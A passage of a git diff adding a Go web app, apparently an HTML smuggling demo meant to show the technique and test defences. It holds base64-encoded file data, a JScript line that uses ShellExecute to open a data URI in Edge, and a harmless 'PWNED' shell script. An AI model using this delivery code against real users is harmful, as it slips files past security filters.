wMDAwMDYzIDY1NTM1IGYNCjAwMDAwMDAwNjQgNjU1MzUgZg0KMDAwMDAwMDA2NSA2NTUzNSBmDQowMDAwMDAwMDY2IDY1NTM1IGYNCjAwMDAwMDAwNjcgNjU1MzUgZg0KMDAwMDAwMDA2OCA2NTUzNSBmDQowMDAwMDAwMDY5IDY1NTM1IGYNCjAwMDAwMDAwNzAgNjU1MzUgZg0KMDAwMDAwMDA3MSA2NTUzNSBmDQowMDAwMDAwMDcyIDY1NTM1IGYNCjAwMDAwMDAwNzMgNjU1MzUgZg0KMDAwMDAwMDA3NCA2NTUzNSBmDQowMDAwMDAwMDc1IDY1NTM1IGYNCjAwMDAwMDAwNzYgNjU1MzUgZg0KMDAwMDAwMDA3NyA2NTUzNSBmDQowMDAwMDAwMDc4IDY1NTM1IGYNCjAwMDAwMDAwNzkgNjU1MzUgZg0KMDAwMDAwMDA4MCA2NTUzNSBmDQowMDAwMDAwMDgxIDY1NTM1IGYNCjAwMDAwMDAwODIgNjU1MzUgZg0KMDAwMDAwMDA4MyA2NTUzNSBmDQowMDAwMDAwMDg0IDY1NTM1IGYNCjAwMDAwMDAwODUgNjU1MzUgZg0KMDAwMDAwMDA4NiA2NTUzNSBmDQowMDAwMDAwMDg3IDY1NTM1IGYNCjAwMDAwMDAwODggNjU1MzUgZg0KMDAwMDAwMDA4OSA2NTUzNSBmDQowMDAwMDAwMDkwIDY1NTM1IGYNCjAwMDAwMDAwOTEgNjU1MzUgZg0KMDAwMDAwMDA5MiA2NTUzNSBmDQowMDAwMDAwMDkzIDY1NTM1IGYNCjAwMDAwMDAwOTQgNjU1MzUgZg0KMDAwMDAwMDA5NSA2NTUzNSBmDQowMDAwMDAwMDk2IDY1NTM1IGYNCjAwMDAwMDAwOTcgNjU1MzUgZg0KMDAwMDAwMDA5OCA2NTUzNSBmDQowMDAwMDAwMDk5IDY1NTM1IGYNCjAwMDAwMDAxMDAgNjU1MzUgZg0KMDAwMDAwMDEwMSA2NTUzNSBmDQowMDAwMDAwMTAyIDY1NTM1IGYNCjAwMDAwMDAxMDMgNjU1MzUgZg0KMDAwMDAwMDEwNCA2NTUzNSBmDQowMDAwMDAwMTA1IDY1NTM1IGYNCjAwMDAwMDAxMDYgNjU1MzUgZg0KMDAwMDAwMDEwNyA2NTUzNSBmDQowMDAwMDAwMTA4IDY1NTM1IGYNCjAwMDAwMDAxMDkgNjU1MzUgZg0KMDAwMDAwMDExMCA2NTUzNSBmDQowMDAwMDAwMTExIDY1NTM1IGYNCjAwMDAwMDAxMTIgNjU1MzUgZg0KMDAwMDAwMDExMyA2NTUzNSBmDQowMDAwMDAwMTE0IDY1NTM1IGYNCjAwMDAwMDAxMTUgNjU1MzUgZg0KMDAwMDAwMDExNiA2NTUzNSBmDQowMDAwMDAwMTE3IDY1NTM1IGYNCjAwMDAwMDAxMTggNjU1MzUgZg0KMDAwMDAwMDExOSA2NTUzNSBmDQowMDAwMDAwMTIwIDY1NTM1IGYNCjAwMDAwMDAxMjEgNjU1MzUgZg0KMDAwMDAwMDEyMiA2NTUzNSBmDQowMDAwMDAwMTIzIDY1NTM1IGYNCjAwMDAwMDAxMjQgNjU1MzUgZg0KMDAwMDAwMDEyNSA2NTUzNSBmDQowMDAwMDAwMTI2IDY1NTM1IGYNCjAwMDAwMDAxMjcgNjU1MzUgZg0KMDAwMDAwMDEyOCA2NTUzNSBmDQowMDAwMDAwMTI5IDY1NTM1IGYNCjAwMDAwMDAxMzAgNjU1MzUgZg0KMDAwMDAwMDEzMSA2NTUzNSBmDQowMDAwMDAwMTMyIDY1NTM1IGYNCjAwMDAwMDAxMzMgNjU1MzUgZg0KMDAwMDAwMDEzNCA2NTUzNSBmDQowMDAwMDAwMTM1IDY1NTM1IGYNCjAwMDAwMDAxMzYgNjU1MzUgZg0KMDAwMDAwMDEzNyA2NTUzNSBmDQowMDAwMDAwMTM4IDY1NTM1IGYNCjAwMDAwMDAxMzkgNjU1MzUgZg0KMDAwMDAwMDE0MCA2NTUzNSBmDQowMDAwMDAwMTQxIDY1NTM1IGYNCjAwMDAwMDAxNDIgNjU1MzUgZg0KMDAwMDAwMDE0MyA2NTUzNSBmDQowMDAwMDAwMTQ0IDY1NTM1IGYNCjAwMDAwMDAxNDUgNjU1MzUgZg0KMDAwMDAwMDE0NiA2NTUzNSBmDQowMDAwMDAwMTQ3IDY1NTM1IGYNCjAwMDAwMDAxNDggNjU1MzUgZg0KMDAwMDAwMDE0OSA2NTUzNSBmDQowMDAwMDAwMTUwIDY1NTM1IGYNCjAwMDAwMDAxNTEgNjU1MzUgZg0KMDAwMDAwMDE1MiA2NTUzNSBmDQowMDAwMDAwMTUzIDY1NTM1IGYNCjAwMDAwMDAxNTQgNjU1MzUgZg0KMDAwMDAwMDE1NSA2NTUzNSBmDQowMDAwMDAwMTU2IDY1NTM1IGYNCjAwMDAwMDAxNTcgNjU1MzUgZg0KMDAwMDAwMDE1OCA2NTUzNSBmDQowMDAwMDAwMTU5IDY1NTM1IGYNCjAwMDAwMDAxNjAgNjU1MzUgZg0KMDAwMDAwMDE2MSA2NTUzNSBmDQowMDAwMDAwMTYyIDY1NTM1IGYNCjAwMDAwMDAxNjMgNjU1MzUgZg0KMDAwMDAwMDE2NCA2NTUzNSBmDQowMDAwMDAwMTY1IDY1NTM1IGYNCjAwMDAwMDAxNjYgNjU1MzUgZg0KMDAwMDAwMDE2NyA2NTUzNSBmDQowMDAwMDAwMTY4IDY1NTM1IGYNCjAwMDAwMDAxNjkgNjU1MzUgZg0KMDAwMDAwMDE3MCA2NTUzNSBmDQowMDAwMDAwMTcxIDY1NTM1IGYNCjAwMDAwMDAxNzIgNjU1MzUgZg0KMDAwMDAwMDE3MyA2NTUzNSBmDQowMDAwMDAwMTc0IDY1NTM1IGYNCjAwMDAwMDAxNzUgNjU1MzUgZg0KMDAwMDAwMDE3NiA2NTUzNSBmDQowMDAwMDAwMTc3IDY1NTM1IGYNCjAwMDAwMDAxNzggNjU1MzUgZg0KMDAwMDAwMDE3OSA2NTUzNSBmDQowMDAwMDAwMTgwIDY1NTM1IGYNCjAwMDAwMDAxODEgNjU1MzUgZg0KMDAwMDAwMDE4MiA2NTUzNSBmDQowMDAwMDAwMTgzIDY1NTM1IGYNCjAwMDAwMDAxODQgNjU1MzUgZg0KMDAwMDAwMDE4NSA2NTUzNSBmDQowMDAwMDAwMTg2IDY1NTM1IGYNCjAwMDAwMDAxODcgNjU1MzUgZg0KMDAwMDAwMDE4OCA2NTUzNSBmDQowMDAwMDAwMTg5IDY1NTM1IGYNCjAwMDAwMDAxOTAgNjU1MzUgZg0KMDAwMDAwMDE5MSA2NTUzNSBmDQowMDAwMDAwMTkyIDY1NTM1IGYNCjAwMDAwMDAxOTMgNjU1MzUgZg0KMDAwMDAwMDE5NCA2NTUzNSBmDQowMDAwMDAwMTk1IDY1NTM1IGYNCjAwMDAwMDAxOTYgNjU1MzUgZg0KMDAwMDAwMDE5NyA2NTUzNSBmDQowMDAwMDAwMTk4IDY1NTM1IGYNCjAwMDAwMDAxOTkgNjU1MzUgZg0KMDAwMDAwMDIwMCA2NTUzNSBmDQowMDAwMDAwMjAxIDY1NTM1IGYNCjAwMDAwMDAyMDIgNjU1MzUgZg0KMDAwMDAwMDIwMyA2NTUzNSBmDQowMDAwMDAwMjA0IDY1NTM1IGYNCjAwMDAwMDAyMDUgNjU1MzUgZg0KMDAwMDAwMDIwNiA2NTUzNSBmDQowMDAwMDAwMjA3IDY1NTM1IGYNCjAwMDAwMDAyMDggNjU1MzUgZg0KMDAwMDAwMDIwOSA2NTUzNSBmDQowMDAwMDAwMjEwIDY1NTM1IGYNCjAwMDAwMDAyMTEgNjU1MzUgZg0KMDAwMDAwMDIxMiA2NTUzNSBmDQowMDAwMDAwMjEzIDY1NTM1IGYNCjAwMDAwMDAyMTQgNjU1MzUgZg0KMDAwMDAwMDIxNSA2NTUzNSBmDQowMDAwMDAwMjE2IDY1NTM1IGYNCjAwMDAwMDAyMTcgNjU1MzUgZg0KMDAwMDAwMDIxOCA2NTUzNSBmDQowMDAwMDAwMjE5IDY1NTM1IGYNCjAwMDAwMDAyMjAgNjU1MzUgZg0KMDAwMDAwMDIyMSA2NTUzNSBmDQowMDAwMDAwMjIyIDY1NTM1IGYNCjAwMDAwMDAyMjMgNjU1MzUgZg0KMDAwMDAwMDIyNCA2NTUzNSBmDQowMDAwMDAwMjI1IDY1NTM1IGYNCjAwMDAwMDAyMjYgNjU1MzUgZg0KMDAwMDAwMDIyNyA2NTUzNSBmDQowMDAwMDAwMjI4IDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAxMDgyNSAwMDAwMCBuDQowMDAwMDExMDgyIDAwMDAwIG4NCjAwMDAwMTEzNzIgMDAwMDAgbg0KMDAwMDAyNjY4NiAwMDAwMCBuDQowMDAwMDI3MDc2IDAwMDAwIG4NCjAwMDAwNDUxMTQgMDAwMDAgbg0KMDAwMDA0NTQyOSAwMDAwMCBuDQowMDAwMDQ1NzM5IDAwMDAwIG4NCjAwMDAwNDg4NDAgMDAwMDAgbg0KMDAwMDA0ODg4NiAwMDAwMCBuDQp0cmFpbGVyDQo8PC9TaXplIDIzOS9Sb290IDEgMCBSL0luZm8gMjI5IDAgUi9JRFs8MEQwRDFCRjIzRDA1RkU0MTlDMTk4MzNCNzUwN0VEMUU+PDBEMEQxQkYyM0QwNUZFNDE5QzE5ODMzQjc1MDdFRDFFPl0gPj4NCnN0YXJ0eHJlZg0KNDk1NTQNCiUlRU9GDQp4cmVmDQowIDANCnRyYWlsZXINCjw8L1NpemUgMjM5L1Jvb3QgMSAwIFIvSW5mbyAyMjkgMCBSL0lEWzwwRDBEMUJGMjNEMDVGRTQxOUMxOTgzM0I3NTA3RUQxRT48MEQwRDFCRjIzRDA1RkU0MTlDMTk4MzNCNzUwN0VEMUU+XSAvUHJldiA0OTU1NC9YUmVmU3RtIDQ4ODg2Pj4NCnN0YXJ0eHJlZg0KNTQ0OTQNCiUlRU9G"; + +var shell = new ActiveXObject("Shell.Application"); +shell.ShellExecute("msedge.exe", dataUri, "", "open", 1); + + + diff --git a/files/example.sh b/files/example.sh new file mode 100755 index 0000000..36d4951 --- /dev/null +++ b/files/example.sh @@ -0,0 +1,2 @@ +#!/usr/bin/env sh +xmessage -center "PWNED" diff --git a/go.mod b/go.mod new file mode 100644 index 0000000..e0a338c --- /dev/null +++ b/go.mod @@ -0,0 +1,42 @@ +module git.jmbit.de/html-bypass + +go 1.21.0 + +require ( + github.com/diskfs/go-diskfs v1.4.0 + github.com/gin-gonic/gin v1.9.1 +) + +require ( + github.com/bytedance/sonic v1.9.1 // indirect + github.com/chenzhuoyu/base64x v0.0.0-20221115062448-fe3a3abad311 // indirect + github.com/elliotwutingfeng/asciiset v0.0.0-20230602022725-51bbb787efab // indirect + github.com/gabriel-vasile/mimetype v1.4.2 // indirect + github.com/gin-contrib/sse v0.1.0 // indirect + github.com/go-playground/locales v0.14.1 // indirect + github.com/go-playground/universal-translator v0.18.1 // indirect + github.com/go-playground/validator/v10 v10.14.0 // indirect + github.com/goccy/go-json v0.10.2 // indirect + github.com/google/uuid v1.3.0 // indirect + github.com/json-iterator/go v1.1.12 // indirect + github.com/klauspost/cpuid/v2 v2.2.4 // indirect + github.com/leodido/go-urn v1.2.4 // indirect + github.com/mattn/go-isatty v0.0.19 // indirect + github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect + github.com/modern-go/reflect2 v1.0.2 // indirect + github.com/pelletier/go-toml/v2 v2.0.8 // indirect + github.com/pierrec/lz4/v4 v4.1.17 // indirect + github.com/pkg/xattr v0.4.9 // indirect + github.com/sirupsen/logrus v1.9.0 // indirect + github.com/twitchyliquid64/golang-asm v0.15.1 // indirect + github.com/ugorji/go/codec v1.2.11 // indirect + github.com/ulikunitz/xz v0.5.11 // indirect + golang.org/x/arch v0.3.0 // indirect + golang.org/x/crypto v0.9.0 // indirect + golang.org/x/net v0.10.0 // indirect + golang.org/x/sys v0.8.0 // indirect + golang.org/x/text v0.9.0 // indirect + google.golang.org/protobuf v1.30.0 // indirect + gopkg.in/djherbis/times.v1 v1.3.0 // indirect + gopkg.in/yaml.v3 v3.0.1 // indirect +) diff --git a/go.sum b/go.sum new file mode 100644 index 0000000..61ebe14 --- /dev/null +++ b/go.sum @@ -0,0 +1,106 @@ +github.com/bytedance/sonic v1.5.0/go.mod h1:ED5hyg4y6t3/9Ku1R6dU/4KyJ48DZ4jPhfY1O2AihPM= +github.com/bytedance/sonic v1.9.1 h1:6iJ6NqdoxCDr6mbY8h18oSO+cShGSMRGCEo7F2h0x8s= +github.com/bytedance/sonic v1.9.1/go.mod h1:i736AoUSYt75HyZLoJW9ERYxcy6eaN6h4BZXU064P/U= +github.com/chenzhuoyu/base64x v0.0.0-20211019084208-fb5309c8db06/go.mod h1:DH46F32mSOjUmXrMHnKwZdA8wcEefY7UVqBKYGjpdQY= +github.com/chenzhuoyu/base64x v0.0.0-20221115062448-fe3a3abad311 h1:qSGYFH7+jGhDF8vLC+iwCD4WpbV1EBDSzWkJODFLams= +github.com/chenzhuoyu/base64x v0.0.0-20221115062448-fe3a3abad311/go.mod h1:b583jCggY9gE99b6G5LEC39OIiVsWj+R97kbl5odCEk= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/diskfs/go-diskfs v1.4.0 h1:MAybY6TPD+fmhY+a2qFhmdvMeIKvCqlgh4QIc1uCmBs= +github.com/diskfs/go-diskfs v1.4.0/go.mod h1:G8cyy+ngM+3yKlqjweMmtqvE+TxsnIo1xumbJX1AeLg= +github.com/elliotwutingfeng/asciiset v0.0.0-20230602022725-51bbb787efab h1:h1UgjJdAAhj+uPL68n7XASS6bU+07ZX1WJvVS2eyoeY= +github.com/elliotwutingfeng/asciiset v0.0.0-20230602022725-51bbb787efab/go.mod h1:GLo/8fDswSAniFG+BFIaiSPcK610jyzgEhWYPQwuQdw= +github.com/gabriel-vasile/mimetype v1.4.2 h1:w5qFW6JKBz9Y393Y4q372O9A7cUSequkh1Q7OhCmWKU= +github.com/gabriel-vasile/mimetype v1.4.2/go.mod h1:zApsH/mKG4w07erKIaJPFiX0Tsq9BFQgN3qGY5GnNgA= +github.com/gin-contrib/sse v0.1.0 h1:Y/yl/+YNO8GZSjAhjMsSuLt29uWRFHdHYUb5lYOV9qE= +github.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI= +github.com/gin-gonic/gin v1.9.1 h1:4idEAncQnU5cB7BeOkPtxjfCSye0AAm1R0RVIqJ+Jmg= +github.com/gin-gonic/gin v1.9.1/go.mod h1:hPrL7YrpYKXt5YId3A/Tnip5kqbEAP+KLuI3SUcPTeU= +github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s= +github.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4= +github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA= +github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY= +github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY= +github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY= +github.com/go-playground/validator/v10 v10.14.0 h1:vgvQWe3XCz3gIeFDm/HnTIbj6UGmg/+t63MyGU2n5js= +github.com/go-playground/validator/v10 v10.14.0/go.mod h1:9iXMNT7sEkjXb0I+enO7QXmzG6QCsPWY4zveKFVRSyU= +github.com/go-test/deep v1.0.8 h1:TDsG77qcSprGbC6vTN8OuXp5g+J+b5Pcguhf7Zt61VM= +github.com/go-test/deep v1.0.8/go.mod h1:5C2ZWiW0ErCdrYzpqxLbTX7MG14M9iiw8DgHncVwcsE= +github.com/goccy/go-json v0.10.2 h1:CrxCmQqYDkv1z7lO7Wbh2HN93uovUHgrECaO5ZrCXAU= +github.com/goccy/go-json v0.10.2/go.mod h1:6MelG93GURQebXPDq3khkgXZkazVtN9CRI+MGFi0w8I= +github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= +github.com/google/go-cmp v0.5.5 h1:Khx7svrCpmxxtHBq5j2mp/xVjsi8hQMfNLvJFAlrGgU= +github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= +github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I= +github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= +github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= +github.com/klauspost/cpuid/v2 v2.0.9/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa0213Md/qVLRg= +github.com/klauspost/cpuid/v2 v2.2.4 h1:acbojRNwl3o09bUq+yDCtZFc1aiwaAAxtcn8YkZXnvk= +github.com/klauspost/cpuid/v2 v2.2.4/go.mod h1:RVVoqg1df56z8g3pUjL/3lE5UfnlrJX8tyFgg4nqhuY= +github.com/leodido/go-urn v1.2.4 h1:XlAE/cm/ms7TE/VMVoduSpNBoyc2dOxHs5MZSwAN63Q= +github.com/leodido/go-urn v1.2.4/go.mod h1:7ZrI8mTSeBSHl/UaRyKQW1qZeMgak41ANeCNaVckg+4= +github.com/mattn/go-isatty v0.0.19 h1:JITubQf0MOLdlGRuRq+jtsDlekdYPia9ZFsB8h/APPA= +github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= +github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= +github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= +github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= +github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M= +github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= +github.com/pelletier/go-toml/v2 v2.0.8 h1:0ctb6s9mE31h0/lhu+J6OPmVeDxJn+kYnJc2jZR9tGQ= +github.com/pelletier/go-toml/v2 v2.0.8/go.mod h1:vuYfssBdrU2XDZ9bYydBu6t+6a6PYNcZljzZR9VXg+4= +github.com/pierrec/lz4/v4 v4.1.17 h1:kV4Ip+/hUBC+8T6+2EgburRtkE9ef4nbY3f4dFhGjMc= +github.com/pierrec/lz4/v4 v4.1.17/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFuRQyBid4= +github.com/pkg/xattr v0.4.9 h1:5883YPCtkSd8LFbs13nXplj9g9tlrwoJRjgpgMu1/fE= +github.com/pkg/xattr v0.4.9/go.mod h1:di8WF84zAKk8jzR1UBTEWh9AUlIZZ7M/JNt8e9B6ktU= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/sirupsen/logrus v1.9.0 h1:trlNQbNUG3OdDrDil03MCb1H2o9nJ1x4/5LYw7byDE0= +github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= +github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= +github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= +github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= +github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= +github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= +github.com/stretchr/testify v1.8.3 h1:RP3t2pwF7cMEbC1dqtB6poj3niw/9gnV4Cjg5oW5gtY= +github.com/stretchr/testify v1.8.3/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= +github.com/twitchyliquid64/golang-asm v0.15.1 h1:SU5vSMR7hnwNxj24w34ZyCi/FmDZTkS4MhqMhdFk5YI= +github.com/twitchyliquid64/golang-asm v0.15.1/go.mod h1:a1lVb/DtPvCB8fslRZhAngC2+aY1QWCk3Cedj/Gdt08= +github.com/ugorji/go/codec v1.2.11 h1:BMaWp1Bb6fHwEtbplGBGJ498wD+LKlNSl25MjdZY4dU= +github.com/ugorji/go/codec v1.2.11/go.mod h1:UNopzCgEMSXjBc6AOMqYvWC1ktqTAfzJZUZgYf6w6lg= +github.com/ulikunitz/xz v0.5.11 h1:kpFauv27b6ynzBNT/Xy+1k+fK4WswhN/6PN5WhFAGw8= +github.com/ulikunitz/xz v0.5.11/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14= +golang.org/x/arch v0.0.0-20210923205945-b76863e36670/go.mod h1:5om86z9Hs0C8fWVUuoMHwpExlXzs5Tkyp9hOrfG7pp8= +golang.org/x/arch v0.3.0 h1:02VY4/ZcO/gBOH6PUaoiptASxtXU10jazRCP865E97k= +golang.org/x/arch v0.3.0/go.mod h1:5om86z9Hs0C8fWVUuoMHwpExlXzs5Tkyp9hOrfG7pp8= +golang.org/x/crypto v0.9.0 h1:LF6fAI+IutBocDJ2OT0Q1g8plpYljMZ4+lty+dsqw3g= +golang.org/x/crypto v0.9.0/go.mod h1:yrmDGqONDYtNj3tH8X9dzUun2m2lzPa9ngI6/RUPGR0= +golang.org/x/net v0.10.0 h1:X2//UzNDwYmtCLn7To6G58Wr6f5ahEAQgKNzv9Y951M= +golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= +golang.org/x/sys v0.0.0-20220408201424-a24fb2fb8a0f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220704084225-05e143d24a9e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.8.0 h1:EBmGv8NaZBZTWvrbjNoL6HVt+IVy3QDQpJs7VRIw3tU= +golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/text v0.9.0 h1:2sjJmO8cDvYveuX97RDLsxlyUxLl+GHoLxBiRdHllBE= +golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= +golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543 h1:E7g+9GITq07hpfrRu66IVDexMakfv52eLZ2CXBWiKr4= +golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= +google.golang.org/protobuf v1.30.0 h1:kPPoIgf3TsEvrm0PFe15JQ+570QVxYzEvvHqChK+cng= +google.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/djherbis/times.v1 v1.3.0 h1:uxMS4iMtH6Pwsxog094W0FYldiNnfY/xba00vq6C2+o= +gopkg.in/djherbis/times.v1 v1.3.0/go.mod h1:AQlg6unIsrsCEdQYhTzERy542dz6SFdQFZFv6mUY0P8= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +rsc.io/pdf v0.1.1/go.mod h1:n8OzWcQ6Sp37PL01nO98y4iUCRdTGarVfzxY20ICaU4= diff --git a/main.go b/main.go new file mode 100644 index 0000000..3341e26 --- /dev/null +++ b/main.go @@ -0,0 +1,31 @@ +package main + +import ( + "embed" + "git.jmbit.de/html-bypass/web" + "github.com/gin-gonic/gin" + "html/template" + "log" + "net/http" +) + +//go:embed assets/* +var assetsFS embed.FS + +//go:embed templates/*.gohtml +var templatesFS embed.FS + +func main() { + router := gin.Default() + templates := template.Must(template.New("").ParseFS(templatesFS, "templates/*.gohtml")) + router.ForwardedByClientIP = true + router.SetHTMLTemplate(templates) + router.StaticFS("/static", http.FS(assetsFS)) + router.GET("/", web.Index) + router.GET("/download/:fileType/", DownloadFile) + + err := router.Run() + if err != nil { + log.Fatal(err) + } +} diff --git a/templates/base.gohtml b/templates/base.gohtml new file mode 100644 index 0000000..a51b416 --- /dev/null +++ b/templates/base.gohtml @@ -0,0 +1,12 @@ + + +{{template "htmlhead.gohtml"}} + +{{template "header.gohtml"}} +
+

This is a demo application to show the effectiveness of HTML smuggling and allows to test possible defenses against it.

+
+ +{{template "footer.gohtml"}} + + \ No newline at end of file diff --git a/templates/footer.gohtml b/templates/footer.gohtml new file mode 100644 index 0000000..7e14e43 --- /dev/null +++ b/templates/footer.gohtml @@ -0,0 +1,4 @@ + \ No newline at end of file diff --git a/templates/header.gohtml b/templates/header.gohtml new file mode 100644 index 0000000..9301093 --- /dev/null +++ b/templates/header.gohtml @@ -0,0 +1,7 @@ +
+
HTML Smuggling Demo
+ +
diff --git a/templates/htmlhead.gohtml b/templates/htmlhead.gohtml new file mode 100644 index 0000000..7ae57cb --- /dev/null +++ b/templates/htmlhead.gohtml @@ -0,0 +1,6 @@ + + + + HTML Smuggling Demo + + diff --git a/templates/index.gohtml b/templates/index.gohtml new file mode 100644 index 0000000..d3a3092 --- /dev/null +++ b/templates/index.gohtml @@ -0,0 +1,34 @@ + + +{{template "htmlhead.gohtml"}} + +{{template "header.gohtml"}} +
+

This is a demo application to show the effectiveness of HTML smuggling and allows to test possible defenses against it.

+

Interactive Demo

+ + +

Complete Test files to download

+
+{{template "footer.gohtml"}} + + \ No newline at end of file diff --git a/web/index.go b/web/index.go new file mode 100644 index 0000000..f7b0796 --- /dev/null +++ b/web/index.go @@ -0,0 +1,13 @@ +package web + +import ( + "github.com/gin-gonic/gin" + "net/http" +) + +func Index(c *gin.Context) { + content := gin.H{ + "title": "HTML Smuggling", + } + c.HTML(http.StatusOK, "index.gohtml", content) +}